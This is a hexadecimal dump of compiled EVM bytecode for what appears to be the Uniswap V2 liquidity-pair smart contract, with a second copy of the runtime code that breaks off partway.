60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429
608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290